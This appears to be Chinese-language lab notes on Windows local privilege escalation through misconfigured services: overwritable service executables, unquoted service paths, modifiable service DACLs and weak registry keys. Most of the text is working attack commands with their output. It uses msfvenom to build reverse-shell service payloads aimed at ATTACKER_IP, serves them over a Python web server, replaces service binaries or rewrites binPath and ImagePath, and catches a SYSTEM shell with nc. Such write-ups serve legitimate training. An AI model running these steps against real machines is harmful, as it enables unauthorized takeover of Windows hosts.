Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的过程。
Windows 机器上的每个服务都将有一个关联的可执行文件,每当服务启动时,该可执行文件将由 SCM 运行。重要的是要注意服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每项服务还指定服务将在其下运行的用户帐户。 我们可以使用<font style="color:rgb(33, 37, 41);">sc qc</font>
检查特定服务:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
服务可执行文件的不安全权限
如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻而易举地获得服务帐户的特权我们可以看到存在漏洞的软件安装的服务运行为svcuser1,与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
在这里我们有一些有趣的事情。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效载荷覆盖它,服务将以配置的用户帐户的权限执行它。 让我们使用 msfvenom 生成一个 exe-service payload 并通过 python 网络服务器提供它:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
有效负载位于 Windows 服务器中后,我们将继续用我们的有效负载替换服务可执行文件。因为我们需要另一个用户来执行我们的负载,所以我们也想授予 Everyone 组完全权限:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
然后我们重新启动服务
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
未引用的服务路径
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
我们在这里发现文件执行路径为: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe,Windows 对其解释可能未以下三种形式:
命令 | 参数1 | 参数2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这是因为在正常使用时,我们经常将空格作为参数的分割符导致的,那么 Windows 该如何运行呢?
- 首先,搜索
C:\MyPrograms\Disk.exe
。如果存在,该服务将运行此可执行文件。 - 如果后者不存在,它将搜索
C:\\MyPrograms\Disk Sorter.exe
. 如果存在,该服务将运行此可执行文件。 - 如果后者不存在,它将搜索
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
. 此选项预计会成功,并且通常会在默认安装中运行。
这时候我们可以上传一个文件到 C:\MyPrograms\Disk.exe 并对其附加权限
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
这时候如果服务重新启动就会执行我们的恶意文件
查找命令:
C:\Users\Sage> wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\" | findstr /i /v """
不安全的服务权限
如果服务的 DACL 允许我们修改服务的配置,那么我们可以重新配置该服务,这将会允许我们将任何可执行文件使用任何账户运行
要检查 DACL 我们可以使用Sysinternals 套件中的Accesschk
SERVICE_CHANGE_CONFIG
我们使用 accesschk 来查看 dsclsvc 服务对 user 的权限:
C:\Users\user>C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
User 具有对该服务的 SERVICE_CHANGE_CONFIG 权限,我们查看该服务相关信息:
C:\Users\user>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
因为我们具有配置权限,所以我们可以修改该服务的二进制路径进行获取权限
C:\Users\user>sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
C:\Users\user>net start daclsvc
SERVICE_ALL_ACCESS
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
在更改服务之前,让我们构建另一个 exe-service 反向 shell 并在攻击者的机器上为它启动一个监听器:
卡利Linux
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
然后我们将反向 shell 可执行文件传输到目标机器并将其存储在C:\Users\thm-unpriv\rev-svc3.exe
. 随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住授予 Everyone 执行您的有效负载的权限:
命令提示符
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):
命令提示符
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem 是因为它是可用的最高特权帐户。要触发我们的有效载荷,剩下的就是重新启动服务:
命令提示符
C:\> sc stop THMService
C:\> sc start THMService
我们将在攻击者的机器上收到一个具有 SYSTEM 权限的 shell:
卡利Linux
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM
弱注册表权限
我们使用 accesschk.exe 程序,来查看指定服务的注册表新
C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
HKLM\System\CurrentControlSet\Services\regsvc
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
KEY_ALL_ACCESS
RW BUILTIN\Administrators
KEY_ALL_ACCESS
RW NT AUTHORITY\INTERACTIVE
KEY_ALL_ACCESS
我们可以查看该服务可由 RW NT AUTHORITY\INTERACTIVE
组 (这个组是经过身份验证的用户)
我们可以通过覆盖 regsvc 的注册表项来进行修改
C:\Users\user\Desktop>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
The operation completed successfully.
验证:
C:\Users\user\Desktop>sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\PrivEsc\reverse.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Insecure Registry Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
不安全的服务可执行文件
C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW WIN-QBA94KB3IOF\Administrator
FILE_ALL_ACCESS
RW BUILTIN\Users
FILE_ALL_ACCESS
该服务是任何用户都可以进行修改,我们可以使用我们的恶意文件覆盖原始文件
C:\Users\user\Desktop>copy C:\Users\user\Desktop\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
1 file(s) copied.
C:\Users\user\Desktop>sc qc filepermsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: filepermsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\File Permissions Service\filepermservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : File Permissions Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem